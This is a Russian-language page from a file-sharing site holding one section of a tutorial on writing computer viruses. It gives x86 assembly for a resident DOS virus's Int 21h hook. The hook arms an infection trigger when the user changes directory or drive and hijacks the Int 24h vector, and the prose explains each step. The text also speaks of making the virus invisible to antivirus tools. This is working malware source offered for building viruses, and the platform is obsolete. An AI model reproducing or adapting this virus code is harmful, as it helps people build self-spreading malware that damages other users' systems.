Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
virur.doc
Скачиваний:
3
Добавлен:
17.08.2019
Размер:
1.01 Mб
Скачать

2.18 Обработчик Int 21h

Рассмотрим теперь создание обработчика прерывания

Int 21h .Как мы договорились, он должен помещать

" единицу " в ячейку " tg_infect ", если DOS вы-

полняет смену текущего каталога или диска ( см п.

2.5 ) .Поэтому напишем " фильтр ", который будет

проверять, какая именно функция DOS вызвана в тот

или иной момент :

;-------------------------------------------------

to_new_21h equ $-vir

new_21h: jmp cs:start_21h

tg_infect db 0

start_21h: pushf

push di

push es

xor di,di ;Перехват

mov es,di ;INT 24h в рези-

mov di,90h ;дентном режиме

mov word ptr es:[di],to_new_24h

mov es:[di+2],cs

cmp ah,03bh ;Активизировать

;вирус ?

jne cs:new_cmp_1

mov cs:tg_infect-110h,1;Да - взводим

;триггер ...

new_cmp_1: cmp ah,00eh

jne cs:to_jump

mov cs:tg_infect - 110h,1

to_jump: pop es

pop di

popf

db 0eah ;Переход на ста-

old_21h dw 0 ;рый обработчик

old_21h_2 dw 0 ;INT 21h ...

Поскольку при вызове функции DOS в регистре AH за-

дается ее номер,достаточно просто проанализировать

его и " выловить " нужные значения.Наш вирус будет

реагировать на смену текущего каталога (AH=03Bh),и

смену текущего диска (AH=0Eh) .Эти числа и пытает-

ся обнаружить " фильтр " .

Далее - так как нам нужно всего лишь определить,

какая функция DOS вызвана, нет смысла после завер-

шения системного обработчика передавать управление

обратно в " фильтр " .По этой причине отпадает не-

обходимость сложных " манипуляций " со стеком, ко-

торые мы проделывали в предыдущем пункте .

Помимо решения своей конкретной задачи, написанный

нами обработчик используется для перехвата преры-

вания Int 24h.Делается это прямым обращением к та-

блице векторов прерываний . Так же перехватывает

прерывания и секция инициализации при установке

вируса в память .Правда, вы можете спросить, зачем

потребовалась такая сложная методика перехвата,

и почему бы не выполнить его в секции инициализа-

ции ? Дело в том, что такой прием будет "работать"

только в MS DOS .WINDOWS 95, например, постоянно

восстанавливает вектор Int 24h, что делает бессмы-

сленным изменение вектора " только один раз ".Тру-

дно сказать, зачем в WINDOWS 95 принято восстанав-

ливать вектор .Вероятно, это сделано для надежно-

сти работы системы .При создании резидентного EXE-

вируса мы поговорим еще об одной " странности "

этой популярной операционной системы,которая поме-

шает нам сделать вирусную программу " невидимой "

для антивирусных средств .

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]